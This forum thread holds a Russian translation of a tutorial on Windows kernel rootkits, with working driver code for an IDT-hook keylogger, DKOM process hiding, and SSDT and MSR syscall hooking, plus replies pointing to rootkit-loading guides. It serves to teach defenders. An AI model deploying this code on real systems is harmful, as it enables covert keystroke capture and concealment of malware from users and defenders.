Информация Фантастические руткиты: И где их найти (часть 1)


offsec

Уважаемый пользователь
Форумчанин
Регистрация
12.11.2023
Сообщения
19
Репутация
17
Dragon-hero-trb.jpg


Введение

В этой серии блогов мы рассмотрим тему руткитов - как они создаются, а также основы анализа драйверов ядра - в частности, на платформе Windows.

В этой первой части мы рассмотрим примеры реализации базовой функциональности руткитов, основы разработки драйверов ядра, а также основы Windows Internals, необходимые для понимания внутренней работы руткитов.

В следующей части мы остановимся на некоторых "наглядных" примерах руткитов и их анализе, на том, каково их назначение и как работает их функциональность.

Что такое руткит? Руткит - это тип вредоносного ПО, которое ускользает от обнаружения путем вмешательства в работу ОС и прячется глубоко внутри нее, как правило, в пространстве ядра. Термин "rootkit" заимствован из терминологии Unix, где "root" - это самый привилегированный пользователь в системе.

Такие примеры, как , (он же Alureon), , и другие, свободно и незаметно распространялись на зараженных системах по всему миру.

Эти руткиты были руткитами, управляемыми киберпреступниками с целью получения финансовой выгоды, а не спонсируемыми государствами, как можно подумать сегодня.

Поскольку в Windows XP x86 и Windows 7 x86 отсутствовали такие средства защиты, как защита от исправлений или целостность кода, руткиты могли вносить в структуру ядра любые изменения.

Одним из приемов, используемых руткитами старого времени (эпохи x86), был Hooking System Service Descriptor Table (SSDT), который был очень распространен и использовался многими руткитами той эпохи, а также AV-продуктами.

В отличие от тех "золотых" лет, сейчас мы редко встречаем новые руткиты для Windows. Это объясняется наличием вышеупомянутых средств защиты и сложностью разработки рабочего руткита и обхода всех средств защиты.

Когда в сети обнаруживается новый руткит, его обычно связывают с каким-либо государственным органом, например, с и .

Обратившись к таблице(матрице) , мы можем найти категорию тактик "Rootkit" (T1014) в группе "Defense Evasion", но, к сожалению, в ней полностью отсутствует критический уровень детализации с ровно нулем подтехник.

Причина, по которой руткиты требуют повышенного внимания со стороны защитников, заключается в том, что они представляют собой невероятную ценность для злоумышленников. Это связано с тем, что после успешного развертывания руткита злоумышленники могут скрыть свое присутствие, сохраняя доступ к взломанной системе (достигается постоянство).

Руткиты обычно делятся на два основных типа в зависимости от уровня привилегий:

  • Kernel-Mode (KM) Руткиты – Это типичный руткит. Руткиты KM работают под управлением высокопривилегированного пользователя (NT AUTHORITY\SYSTEM) в самом ядре и могут модифицировать структуру ядра в памяти, чтобы манипулировать ОС и скрывать себя от Avs и т.д. В Windows это обычно означает работу в качестве драйвера ядра.
  • User-Mode (UM) Руткиты – UM-руткиты - это руткиты, не имеющие компонента режима ядра. Они скрывают свое присутствие в системе, используя техники пользовательского режима и API, манипулирующие ОС, такие как Hooking, Process Injection, UM-руткиты не подпадают под классическое определение руткита, поскольку не обязательно работают от имени "root" (хотя для корректной работы им может потребоваться доступ администратора) или другого суперпользователя, если на то пошло. В настоящее время многие современные семейства вредоносных программ содержат в той или иной форме компонент руткита пользовательского режима, поскольку они обычно пытаются обойти обнаружение и удаление антивирусными средствами и самими пользователями.
В этой статье мы рассмотрим руткиты, работающие в kernel-mode, и используемые ими методы обхода антивирусных средств и скрытия в ОС путем манипулирования ядром Windows.

Понимание этих методов необходимо членам "blue team" для полноценной защиты организации от таких сложных атак и восстановления после них в случае взлома.

Практическое руководство по Windows Internals​


Прежде чем приступить к глубокому рассмотрению примеров реализации техник руткитов, мы начнем с некоторой вводной информации, необходимой для понимания концепций и причин, лежащих в их основе.

Как и все современные ОС, архитектура Windows разделена на пространство пользователя (User space) и пространство ядра (Kernel space), каждое из которых живет в своем адресном пространстве.

Каждый процесс в пользовательском режиме имеет частное виртуальное адресное пространство от 0x000000 до 0x7FFEFFFF (в x86, или от 0x0000000000 до 0x00007FFFFEFFFF в x64), а ядро располагается по адресам выше 0x80000000 (в x86, или выше 0xFFFF8000000000 в x64).

** Следует также отметить, что адреса могут обозначаться символами MmHighestUserAddress (0x7FFEFFFF) и MmSystemRangeStart (0x80000000)



Рисунок 1: Архитектура Windows


На рис. 1 показано, как User Mode накладывается поверх kernel mode.

Как правило, библиотеки API ОС, такие как и используются в User Mode в качестве точек доступа к сервисам ОС.

Каждый сервис ОС транслируется в syscall, который впоследствии обрабатывается ядром.

Драйверы устройств и ядро располагаются поверх HAL, поскольку они потребляют его сервисы, тесно взаимодействуют и находятся в одном адресном пространстве.

Драйверы устройств также являются единственными механизмами, которые позволяют пользователям расширять ядро и его возможности, работая на том же уровне привилегий.

В качестве примера того, как слои ОС наслаиваются друг на друга, рассмотрим API-функцию kernel32.dll, такую как .

При вызове ReadFile реализация, находящаяся в kernel32.dll, разберет переданные ей параметры и вызовет недокументированный в ntdll.dll.

В дальнейшем NtReadFile установит в eax соответствующий номер syscall и выполнит инструкцию (или SYSCALL в x64).

Инструкция SYSENTER создаст ловушку(trap) и перейдет в kernel mode, вызвав адрес, который хранится в (в x86, или LSTAR MSR в x64) который указывает на (KiSystemCall64 в x64).

Эта функция сохранит текущий контекст user-mode и установит контекст kernel, после чего вызовет соответствующую версию kernel mode (также может быть назван ). Он расположен в , который выполнит основную часть работы и вызовет соответствующий драйвер диска для выполнения фактического чтения с диска.

Image3_ReadFileCall.png



Рисунок 2. Переход вызова функции ReadFile из режима User-Mode в режим Kernel-Mode

Когда драйвер ядра загружен, он имеет доступ ко всей физической памяти (или, по крайней мере, если мы не берем и виртуализацию), а также виртуальную память как пространства ядра, так и память пространства пользователя любого процесса user-space.


Находясь в одном адресном пространстве с ядром, драйвер ядра может изменить любую структуру ядра в памяти, чтобы скрыть себя или другие компоненты вредоносной программы в системе.

В прошлом загрузка драйвера и изменение структур ядра могли быть выполнены злоумышленником без особых проблем, но после появления в Windows XP/Vista x64 таких средств защиты, как (Kernel Patch Protection или Patch Guard), их стало сравнительно мало.

Patch Guard - это механизм, защищающий структуру ядра (например, и о которых речь пойдет далее) от изменений в памяти или "патчей" со стороны злоумышленника. Он периодически проверяет каждую структуру ядра на наличие изменений; если изменение произошло, то это приводит к BSOD с ошибкой or .

В настоящее время, прежде чем вносить какие-либо изменения в структуру системы, злоумышленники должны найти способ отключить или обойти Patch Guard, иначе они рискуют вывести систему из строя.

Важно также отметить, что, поскольку Patch Guard работает периодически, если злоумышленник успеет вернуть свои изменения до следующей проверки, это не вызовет BSOD. Это удобно при изменении такой структуры ядра, как флаг 20-й бит CR4, когда злоумышленник может отключить флаг, выполнить свой вредоносный код и тут же включить флаг обратно, чтобы избежать проверки на наличие ошибки.

В прошлом мы видели следующую технику, использованную для обхода Patch Guard. Злоумышленники использовали хук в KeBugCheckEx, чтобы возобновить выполнение после того, как произошла проверка, эффективно останавливая BSOD.

Затем, после того как Microsoft залатала эту дыру, злоумышленники подключили другую функцию, , которая вызывается чтобы аналогичным образом возобновить выполнение без BSOD-инг'а системы.

Еще один способ обхода Patch Guard описан в последней Кенто Оки (Kento Oki) из 2021 года. Кроме того, несколько лет назад компания CyberArk Labs нашла способ обхода Patch Guard.

Еще одна функция, появившаяся в Windows и способствовавшая сокращению числа руткитов, — это для драйверов, которая, по сути, проверяет, подписан ли драйвер доверенным центром сертификации перед его загрузкой.

DSE еще больше усложняет задачу злоумышленников по загрузке драйвера, поскольку им придется обойти и это средство защиты — либо получить в свои руки такой сертификат, которым можно было бы подписать свой драйвер, либо использовать механизм таким образом, чтобы обойти его.


Пример обхода Patch Guard+DSE может быть найден .

Существуют также некоторые старые средства обхода Digital Signing Enforcement/Code Integrity с помощью hfiref0x, такие как и (Turla Driver Loader).

Важно отметить, что любая ошибка в рутките (например, ACCESS_VIOLATION) немедленно вызовет BSOD. Нулевые ошибки не допускаются, и это одна из причин некоторой редкости руткитов, поскольку их разработка и внедрение требует высокого уровня профессионализма и отточенного процесса разработки, которыми одиночки чаще всего не обладают.

Об уязвимых драйверах и обходах DSE​


В прошлом мы наблюдали, как злоумышленники и авторы вредоносных программ использовали следующую технику для отключения DSE/CI. Эта методика включает в себя несколько этапов:

  1. Получение привилегий администратора, а точнее, по крайней мере, привилегий
  2. Загрузка легитимного подписанного драйвера, заведомо уязвимого, как, например, в случае с некоторыми версиями драйверов VirtualBox и CAPCOM.
  3. Вызов эксплойта, запускающего некоторый код с привилегиями NT AUTHORITY\SYSTEM.
  4. Изменение глобального флага ядра или (в зависимости от версии Windows) для отключения DSE в масштабах всей системы.
  5. Загрузка вредоносного неподписанного драйвера
Хорошим источником информации об уязвимостях LPE в драйверах Windows является .

В последнее время такое поведение также было ограничено благодаря недавнему дополнению к Microsoft Defender for Endpoint, которое блокирует/запрещает загрузку известных уязвимых драйверов из черного списка.

Фантастические техники руткитов: И как они реализуются​

В этом разделе мы расскажем о некоторых распространенных приемах, используемых руткитами. Все примеры были протестированы на Windows 10 RS2 для x86 без включенных Code Integrity и Patch Guard (режим тестовой подписи включен).

Перехват Interrupt Descriptor Table (IDT)​

Прежде чем мы начнем, несколько слов о том, что такое IDT...

Interrupt Descriptor Table - это структура ядра, в которой в качестве записей хранятся подпрограммы-обработчики, называемые (в дальнейшем мы будем называть их ISR).

Каждый entry point указывает на функцию, которая обрабатывает конкретное прерывание и будет вызвана в произвольном контексте при срабатывании конкретного прерывания в соответствии с его приоритетом ( ).

В этой части мы покажем простой пример реализации кейлоггера с использованием IDT hooking.

IDT hooking - это технология, при которой происходит патч таблицы IDT и замена определенного ISR на другую процедуру, предоставленную злоумышленником.

В нашем примере - это процедура, которая будет регистрировать значения и передавать их обработку обратно в исходную процедуру.

Начнем с WinDbg, с помощью которого можно проверить, какую запись IDT нужно изменить, чтобы подключить клавиатуру. Используя расширение !idt, мы можем обнаружить, что исходный индекс ISR для записи i8042prt!I8042KeyboardInterruptService равен 0x70.

C-подобный:
kd> !idt 0x70




Dumping IDT: 80e6f400




8077353000000070:  81b882a0 i8042prt!I8042KeyboardInterruptService (KINTERRUPT 88ba80c0)

Процесс перехвата заключается в том, что сначала проверяется, не перехвачен ли уже данный ISR. Если нет, то вызывается GetDescriptorAddress для получения адреса, указывающего на текущий исходный ISR, а затем просто заменяется, используя ту же самую структуру .

C-подобный:
UINT32 oldISRAddress = NULL;
void HookIDT(UINT16 service, UINT32 hookAddress)
{
    UINT32 isrAddress;
    UINT16 hookAddressLow;
    UINT16 hookAddressHigh;
    PKIDTENTRY descriptorAddress;
    isrAddress = GetISRAddress(service);
    
    if (isrAddress != hookAddress)
    {
    oldISRAddress = isrAddress;
        descriptorAddress = GetDescriptorAddress(service);
        hookAddressLow = (UINT16)hookAddress;
        hookAddress = hookAddress >> 16;
        hookAddressHigh = (UINT16)hookAddress;
        _disable();
        descriptorAddress->Offset = hookAddressLow;
        descriptorAddress->ExtendedOffset = hookAddressHigh;
        _enable();
    }
}

Первым этапом подключения IDT является получение адреса IDT. Для этого используется специальная инструкция ассемблера x86 - sidt, которая считывает специальный регистр IDTR, содержащий адрес IDT.

В приведенном ниже фрагменте определены две структуры - KIDTENTRY и IDT, а также функция GetIDTAddress, которая использует инструкцию sidt для получения адреса IDT.

C-подобный:
#pragma pack(1)
typedef struct _KIDTENTRY
{
    UINT16 Offset;
    UINT16 Selector;
    UINT16 Access;
    UINT16 ExtendedOffset;
} KIDTENTRY, *PKIDTENTRY;
#pragma pack()

#pragma pack(1)
typedef struct _IDT
{
    UINT16 bytes;
    UINT32 addr;
} IDT;
#pragma pack()

IDT GetIDTAddress()
{
    IDT idtAddress;

    _disable();
    __sidt(&idtAddress);
    _enable();
    
    return idtAddress;
}

Следующим шагом является реализация следующих двух функций:

  • GetDescriptorAddress - Получает идентификационный номер службы прерывания и вычисляет адрес ISR для этого прерывания путем вычисления смещения ISR в IDT и добавления этого смещения к базовому адресу IDT (который мы получаем, вызывая GetIDTAddress, определенный в предыдущем фрагменте).
  • GetISRAddress - Вызывает GetDescriptorAddress для получения адреса ISR и преобразует возвращаемое значение из структуры KIDTENTRY в адрес UINT32 путем взятия смещения Extended со сдвигом влево на 16 бит и последующего добавления поля смещения.
Эти две функции вместе преобразуют идентификатор служебного индекса в реальный адрес ISR, который и понадобился нам в HookIDT для размещения нашего хука.

C-подобный:
// Получает идентификационный номер службы прерывания и вычисляет смещение в

// таблице IDT, в которой хранится ISR для этой службы.
PKIDTENTRY GetDescriptorAddress(UINT16 service)
{
    UINT_PTR idtrAddress;
    PKIDTENTRY descriptorAddress;

    idtrAddress = GetIDTAddress().addr;
    descriptorAddress = (PKIDTENTRY)(idtrAddress + service * 0x8);

    return descriptorAddress;
}

// Вызывает GetDescriptorAddress для получения смещения к IDT,

// преобразует возвращаемое значение из структуры KIDTENTRY

// в UINT32 путем взятия смещения Extended offset

// влево на 16 бит, а затем добавляет поле смещения.
UINT32 GetISRAddress(UINT16 service)
{
    PKIDTENTRY descriptorAddress;
    UINT32 isrAddress;

    descriptorAddress = GetDescriptorAddress(service);

    isrAddress = descriptorAddress->ExtendedOffset;
    isrAddress = isrAddress << 16; isrAddress += descriptorAddress->Offset;

    return isrAddress;
}


Последний шаг - создание функции Hook_KeyboardRoutine, которая будет вызывать наш хук обработчик.

После логирования значения вызовом нашего Handle_KeyboardHook мы перейдем к исходному ISR, сохраненному в oldISRAddress. Это делается потому, что нам необходимо вернуть выполнение в исходное русло, чтобы никакие заметные изменения не насторожили пользователя.

C-подобный:
UCHAR lastScanCode;
char scanCodeMapping[56] = { '\0', '\0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[', ']', '\n', '\0', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', '\'', '`', '\0', '\\', 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/', '\0', '*' };
void Handle_KeyboardHook()
{
    int status = READ_PORT_UCHAR((PUCHAR)0x64);
    char* buffer = NULL;
    if (status != 0x14)
    {
        if (!g_IsInjected && status == 0x15)
        {
            g_IsInjected = true;
            g_LastScanCode = READ_PORT_UCHAR((PUCHAR)0x60);
            KdPrint(("Scan Code - 0x%x\r\n", g_LastScanCode));
            
            if (g_LastScanCode < 56) { KdPrint(("Ascii Code - 0x%x => %c\r\n", scanCodeMapping[g_LastScanCode], (char)scanCodeMapping[g_LastScanCode]));
            }
            WRITE_PORT_UCHAR((PUCHAR)0x64, 0xd2);
            WRITE_PORT_UCHAR((PUCHAR)0x60, g_LastScanCode);
        }
        else
        {
            g_IsInjected = false;
        }
    }
}
__declspec(naked) void Hook_KeyboardRoutine()
{
    __asm {
        pushad
        pushfd
    cli
        call Handle_KeyboardHook
    sti
 
        popfd
        popad
        jmp oldISRAddress
    }
}

Для выполнения всей вышеописанной функциональности наш драйвер должен вызвать функцию HookIDT следующим образом...

Первым параметром, передаваемым HookIDT, является 0x70 (индексный идентификатор записи ISR), а вторым - указатель функции, используемой для реализации хука.

Код:
HookIDT(0x70, (UINT32)Hook_KeyboardRoutine);

Прямое манипулирование объектами ядра​

Прямая манипуляция объектами ядра (Direct Kernel Object Manipulation или сокращенно DKOM) - очень мощная техника, позволяющая злоумышленнику манипулировать структурами ядра в памяти.

В этом примере мы покажем, как скрыть процесс из списка процессов с помощью DKOM, удалив запись из списка .

C-подобный:
ULONG_PTR ActiveOffsetPre = 0xb8;
ULONG_PTR ActiveOffsetNext = 0xbc;
ULONG_PTR ImageName = 0x17c;

VOID HideProcess(char* ProcessName)
{
    PEPROCESS CurrentProcess = NULL;
    char* currImageFileName = NULL;

    if (!ProcessName)
        return;

    CurrentProcess = PsGetCurrentProcess();

    PLIST_ENTRY CurrListEntry = (PLIST_ENTRY)((PUCHAR)CurrentProcess + ActiveOffsetPre);
    PLIST_ENTRY PrevListEntry = CurrListEntry->Blink;
    PLIST_ENTRY NextListEntry = NULL;

    while (CurrListEntry != PrevListEntry)
    {
        NextListEntry = CurrListEntry->Flink;
        currImageFileName = (char*)(((ULONG_PTR)CurrListEntry - ActiveOffsetPre) + ImageName);

        DbgPrint("Iterating %s\r\n", currImageFileName);

        if (strcmp(currImageFileName, ProcessName) == 0)
        {
            DbgPrint("[*] Found Process! Needs To Be Removed %s\r\n", currImageFileName);

            if (MmIsAddressValid(CurrListEntry))
            {
                RemoveEntryList(CurrListEntry);
            }

            break;
        }

        CurrListEntry = NextListEntry;
    }
}

Приведенный выше код просто обходит связанный список ActiveProcessLinks текущего процесса (System) в соответствии со смещениями, определенными в структуре .

Посмотрев на открытые символы в WinDbg, мы можем определить смещения ActiveProcessLinks (связанный список типа ) Flink и Blink и ImageFileName.

Узнав смещение, мы можем сравнить currImageFileName с искомым ProcessName и, если оно найдено, удалить его запись из списка.

C-подобный:
kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x0b0 ProcessLock      : _EX_PUSH_LOCK
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0c4 VdmObjects       : Ptr32 Void
   +0x0c8 Flags2           : Uint4B
   ...
   +0x170 PageDirectoryPte : Uint8B
   +0x178 ImageFilePointer : Ptr32 _FILE_OBJECT
   +0x17c ImageFileName    : [15] UChar
   +0x18b PriorityClass    : UChar
   +0x18c SecurityPort     : Ptr32 Void
   +0x190 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   ...

Наконец, в приведенном ниже коде вызывается метод HideProcess, первым параметром которого является имя процесса, который мы хотим скрыть.

Код:
HideProcess("notepad.exe");

SSDT Hooking​

System Service Descriptor Table (SSDT) - это структура ядра, содержащая записи для каждого системного вызова в Windows.

При выполнении процессором инструкции SYSENTER или (или SYSCALL в x64) после изменения контекста из user-mode в kernel mode вызывается соответствующий обработчик syscall.

SSDT Hooking - это классическая техника, используемая руткитами (и защитными программами) для достижения контроля над определенными системными вызовами и вмешательства в их аргументы и/или логику.

Классическим примером может служить перехват , который, по сути, позволит злоумышленнику фальсифицировать любую попытку получить handle к файлу и запретить пользователю доступ к определенным файлам (например, к файлам руткита).

В прошлом многие производители антивирусных систем использовали хуки к SSDT для проверки создания нового процесса, нового файлового дескриптора и т.д., поскольку в те времена не существовало механизма получения обратных вызовов типа и др.

Поскольку мы подключаем NtCreateFile, нам необходимо найти "индекс" его SSDT-записи.

C-подобный:
kd> dps nt!KiServiceTable L192
8177227c  81728722 nt!NtAccessCheck
81772280  8172f0b2 nt!NtWorkerFactoryWorkerReady
81772284  81965f5c nt!NtAcceptConnectPort
81772288  816e883a nt!NtYieldExecution
8177228c  8195dec2 nt!NtWriteVirtualMemory
81772290  81abdba5 nt!NtWriteRequestData
81772294  8193ab58 nt!NtWriteFileGather
81772298  8193927a nt!NtWriteFile
...
8177283c  81ae5b00 nt!NtCreateJobSet
81772840  81989216 nt!NtCreateJobObject
81772844  819af542 nt!NtCreateIRTimer
81772848  8193a6ba nt!NtCreateTimer2
8177284c  81955de0 nt!NtCreateIoCompletion
81772850  818c9518 nt!NtCreateFile
81772854  81b1f866 nt!NtCreateEventPair
81772858  818dee1c nt!NtCreateEvent
8177285c  8168b446 nt!NtCreateEnlistment
81772860  81ac6ed8 nt!NtCreateEnclave
...

kd> ? (0x81772850 - 0x8177227c) / 4
Evaluate expression: 373 = 00000175

Один из способов найти смещение NtCreateFile в KiServiceTable - выполнить команду dps nt!KiServiceTable и вычесть адрес, указывающий на nt!NtCreateFile, из базового адреса KiServiceTable — деленное на 4 (в x86) ⇒ 0x175 - это наш индекс.

Во-первых, необходимо определить прототипы функций, которые мы собираемся подключить (см. ниже).

C-подобный:
extern "C" NTSYSAPI NTSTATUS NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

typedef NTSTATUS(*NtCreateFilePrototype)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

Далее мы определяем структуру и экспортируемый символ для SSDT "KeServiceDescriptorTable" (см. ниже).

C-подобный:
typedef struct SystemServiceTable
{
    UINT32* ServiceTable;
    UINT32* CounterTable;
    UINT32 ServiceLimit;
    UINT32* ArgumentTable;
} SSDT_Entry;

extern "C" __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

Наконец, мы пишем нашу функцию, которая ставит хук, и нашу реализацию, которая будет заменять хук (см. ниже).

C-подобный:
NtCreateFilePrototype oldNtCreateFile = NULL;

NTSTATUS Hook_NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength)
{
    NTSTATUS status;

    DbgPrint("Hook_NtCreateFile function called.\r\n");
  DbgPrint("FileName: %wZ", ObjectAttributes->ObjectName);
    status = oldNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);
    if (!NT_SUCCESS(status))
    {
        DbgPrint("NtCreateFile returned 0x%x.\r\n", status);
    }

    return status;
}

PULONG HookSSDT(UINT32 index, PULONG function, PULONG hookedFunction)
{
    PULONG result = 0;
    PLONG ssdt = (PLONG)KeServiceDescriptorTable.ServiceTable;
    PLONG target = (PLONG)&ssdt[index];
    
    if (*target == (LONG)function)
    {
        DisableWP();
        result = (PULONG)InterlockedExchange(target, (LONG)hookedFunction);
        EnableWP();
    }

    return result;
}

MSR Hooking​

Как уже упоминалось, MSR - это регистры, специфичные для конкретной модели, в которых хранятся определенные значения для различных функций процессора. В MSR hooking мы подключаем MSR 0x176 (или LSTAR_MSR 0xc0000082 в x64), в котором хранится адрес функции KiFastCallEntry.

Изменив значение этого MSR, злоумышленник может перенаправить выполнение всех системных вызовов в системе таким образом, что для обработки всех их ему нужен будет один хук.

Злоумышленник может реализовать свою "магию" в хуке и в итоге передать выполнение обратно в KiFastCallEntry так, что системный вызов будет обработан (и пользователь не почувствует никакой разницы).

В данном примере HookMSR - это функция, которая размещает хук. Сначала она считывает текущее значение MSR и сохраняет его в oldMSRAddress. Затем, если функция еще не была за'hook'нута, она перезапишет MSR новым адресом за'hook'нутой функции в нашем драйвере.

C-подобный:
void HookMSR(UINT32 hookaddr)
{
    UINT_PTR msraddr = 0;

  _disable();
    msraddr = ReadMSR();
  oldMSRAddress = msraddr;
    if (msraddr == hookaddr)
    {
        DbgPrint("The MSR IA32_SYSENTER_EIP is already hooked.\r\n");
    }
    else
    {
        DbgPrint("Hooking MSR IA32_SYSENTER_EIP: %x –> %x.\r\n", msraddr, hookaddr);
        WriteMSR(hookaddr);
    }
  _enable();
}

В этом разделе определены значения констант MSR и функции ReadMSR/WriteMSR.

C-подобный:
#ifdef _X64
#define IA32_LSTAR 0xc0000082
#else
#define IA32_SYSENTER_EIP 0x176
#endif

UINT_PTR oldMSRAddress = NULL;

#ifdef _WIN32
UINT_PTR ReadMSR()
{
    return (UINT_PTR)__readmsr(IA32_SYSENTER_EIP);
}

void WriteMSR(UINT_PTR ptr)
{
    __writemsr(IA32_SYSENTER_EIP, ptr);
}
#endif

Приведенный ниже код содержит функцию hooking и вызываемую ею DebugPrint.

DebugPrint сначала проверяет, что dispatchId == 0x7 ( 0x7 это NtWriteFile), чтобы произвести некоторую фильтрацию, а затем выводит номер идентификатора диспетчера в отладчик. Фильтрация нужна потому, что печать всех syscalls/dispatchId приведет к зависанию системы.

C-подобный:
void DebugPrint(UINT32 dispatchId)
{
    if (dispatchId == 0x7)
        DbgPrint("[*] Syscall %x dispatched\r\n", dispatchId);
}

__declspec(naked) int MsrHookRoutine()
{
    __asm {
        pushad
        pushfd

        mov ecx, 0x23
        push 0x30
        pop fs
        mov ds, cx
        mov es, cx

        push eax
        call DebugPrint

        popfd
        popad

        jmp oldMSRAddress
    }
}

Наконец, нам необходимо вызвать функцию HookMSR с функцией hooking для размещения нашего хука.

C-подобный:
HookMSR((UINT32)MsrHookRoutine);

Заключение​

В этой статье мы глубоко погрузились в тему руткитов. Мы рассмотрели несколько примеров реализации различных функциональных возможностей руткитов и объяснили причины, стоящие за каждым из них. В конечном итоге мы получаем контроль над системой, не оставляя жертве никаких признаков того, что ее компьютер был взломан.

Мы выяснили, почему для написания таких руткитов требуются навыки и ресурсы, доступные в основном только крупным государственным киберструктурам. Мы считаем, что в матрице(таблице) MITRE ATT&CK в разделе "Defense Evasion" не хватает подробностей о субтехниках руткитов, и этот набор тактик должен быть более подробно описан, чтобы предоставить защитникам необходимый уровень информации для разработки стратегии защиты.

Повышение осведомленности о подобных атаках и риске, который они представляют для организаций, должно подтолкнуть их к принятию необходимых мер по защите от таких угроз.

Мы рекомендуем организациям предпринять следующие шаги, чтобы избежать подобных атак:

  1. Никогда не отключайте Patch Guard (KPP).
  2. Никогда не отключайте функцию Driver Signing Enforcement.
  3. Если есть возможность, включите VBS и HVCI через групповую политику ( ).
  4. Используйте черный список драйверов Microsoft ( ).
  5. Никогда не устанавливайте ненужные драйверы или драйверы из неизвестных источников.
  6. Избегайте наличия пользователей с привилегиями локального администратора.
  7. Установите на компьютерах организации систему EDR для защиты и обнаружения аномального поведения.
Исходный код примеров драйверов можно найти .

В следующей части серии мы рассмотрим реальные примеры руткитов, демонстрирующих такое поведение, и способы обнаружения их следов в зараженной системе.

Ссылки​

1. Переводчик - я. Изначально сделал для хссис, но теперь перезалил сюда.
2. Оцените качество перевода.
3. Планирую перевести все ссылки, а потом приступить к 2 и 3 части. Если конечно время будет.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Спасибо за статью, жду продолжение, интересно почитать про боевые руткиты.)

По теме рекомендую ещё эту статью:Уроки - Как я RootKit загружал или же как загрузить драйвер без подписи

В теме рассказывается как запустить руткит у жертвы, а также список ссылок, где можно посмотреть исходники боевых руткитов (Исходники в гитхабе).
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
2. Оцените качество перевода.
Качество хорошее, а ты перевод делаешь при помощи гугл переводчика, или ещё где ?

Классный перевод выдаёт ChatGPT и не только перевод, если есть возможно попробуй, экономит кучу времени...)
 

MKII

Уважаемый пользователь
Форумчанин
Регистрация
03.10.2022
Сообщения
253
Репутация
177
Отличная статья, где-же ты был раньше, когда я решил заниматься руткитами…)
В этой статье я нашел ответы на большинство своих вопросов, спасибо.
 

offsec

Уважаемый пользователь
Форумчанин
Регистрация
12.11.2023
Сообщения
19
Репутация
17
Качество хорошее, а ты перевод делаешь при помощи гугл переводчика, или ещё где ?

Классный перевод выдаёт ChatGPT и не только перевод, если есть возможно попробуй, экономит кучу времени...)
А почему с помощью гугл переводчика? :D Вообще сам, но иногда помогает дипл, а насчёт гпт, как по мне 4 версия лучше справляется с переводом, а к ней доступа нету, с учетом что бинг это обрезанный гпт-4)
 

offsec

Уважаемый пользователь
Форумчанин
Регистрация
12.11.2023
Сообщения
19
Репутация
17
Отличная статья, где-же ты был раньше, когда я решил заниматься руткитами…)
В этой статье я нашел ответы на большинство своих вопросов, спасибо.
Не за что!) Рад что кому то статья нашлась полезной. Надеюсь ничего страшного что ссылку на оригинал не указал?
 

offsec

Уважаемый пользователь
Форумчанин
Регистрация
12.11.2023
Сообщения
19
Репутация
17
Если есть какой нибуд раздел для переводов, присылайте что нибудь связанное с пентестом, желательно сетей) С радостью переведу)
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
264
Репутация
146
or .
Опа. Наконец ответ на вопрос нашелся сам собой.

1) Либо это античит дурью мается;
2) Чит с драйвером прикалывается;
3) Антивирус ворочает;
4) Либо в системе поселился руткит, пытающийся скрыть свои темные делишки

Статья просто огонь
 

MKII

Уважаемый пользователь
Форумчанин
Регистрация
03.10.2022
Сообщения
253
Репутация
177
Вот такой вопрос возник, как в автоматическом режиме узнать смещения _EPROCESS?
 
Верх Низ